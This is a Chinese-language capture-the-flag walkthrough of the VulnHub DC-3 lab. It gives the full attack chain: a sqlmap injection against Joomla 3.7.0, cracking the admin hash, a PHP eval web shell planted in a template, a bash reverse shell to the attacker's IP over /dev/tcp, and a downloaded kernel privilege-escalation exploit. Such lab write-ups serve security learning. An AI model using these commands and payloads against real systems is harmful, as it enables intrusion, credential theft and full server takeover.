前言
好久都没有打vulnhub靶场了,这个靶场搞的我处处受阻,dc3下载官网,下的慢的建议去网盘找。
信息搜集
kali: 192.168.127.132
dc: 192.168.127.134
将kali和dc靶机都设置成nat模式后,使用nmap 192.168.127.132/24 -sn
扫出dc靶机ip为 192.168.127.134
访问后,得知只有一个flag
按照一贯的作风,姑且猜想一下大致的流程,进入后台或者Exp直接getshell。如果是进入后台 —> 上传木马getshell —> 提权 —> getflag
nmap -p1-65535 -A 192.168.127.134
,扫扫端口,获取到joomla,没啥其他特别的东西
点了点页面其他链接,知晓是php网页,使用御剑扫目录出后台
http://192.168.127.134/administrator/index.php
查看后台
这里我赌它用户名是admin,因为在主页中Details,下面有一行小字是Written by admin,但我使用burp并没有跑出密码。
使用msf里面的auxiliary/scanner/http/joomla_version
,得到Joomla版本为 3.7.0
漏洞利用
此版本有sql注入exploit链接 ,上sqlmap梭哈
sqlmap -u "http://192.168.127.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
得到数据库
尝试使用 –os-shell 命令,,选择4爆破网站物理路径,直接写入马子失败
得到joomladb数据库中有76个表
尝试查看 #__users
表有哪些字段,这个时候就有问题了,出现找不到 #__users
表
我开始认为有可能是windows上用sqlmap有问题,然后到kali上,也得到了相同的结果
随后我在github上面找到此 issue,和我的情况一模一样,至今也没有解决
换个思路想,就是为了得到后台的账号和密码,到github上找到了其他利用工具
git clone https://github.com/stefanlucas/Exploit-Joomla.git
cd Exploit-Joomla/
python joomblah.py http://192.168.127.134/
得到用户名:admin 加密后的密码:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
md5在线查询密码失败
将密码写入pwd文件
使用john pwd爆破密码,得到后台密码为snoopy
getshell
进入后台后,最开始我在media里面尝试上传一句木马,搞了半天都没有上传成功,zip文件都能上传上去,然而正确的姿势是点击Extensions->Templates->Templates后,再点击Protostar Details and Files
编辑index.php,写入一句话木马<?php @eval($_POST['hacker']); ?>
,点击保存
提权
使用蚁剑成功连接
来到终端输入uname -a
和lsb_release -a
搜索利用模块searchsploit ubuntu 16.04 4.4
Linux Kernel 4.4.x (Ubuntu 16.04) - ‘double-fdput()’ bpf(BPF_PROG_LOAD) Privilege Escalation,此模块可提权成功
如果无法下载下面exp,移步github代下载服务,你也可以找其他github下载服务,下下来就ok
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
tar -vxf 35df31628e07eca6255c6492dc4507a5_1611927956.zip.tar
unzip 35df31628e07eca6255c6492dc4507a5_1611927956.zip
cd 39772/
tar -vxf exploit.tar
cd ebpf_mapfd_doubleput_exploit/
chmod u+x compile.sh
./compile.sh
./doubleput
可以看到在蚁剑的终端并没提权成功
后来我换了nc连接shell,index.php编辑内容为<?php system(“bash -c ‘bash -i >& /dev/tcp/192.168.127.132/4444 0>&1’”) ?>
开启监听,然后刷新网页,成功连上
执行相同的命令,成功提权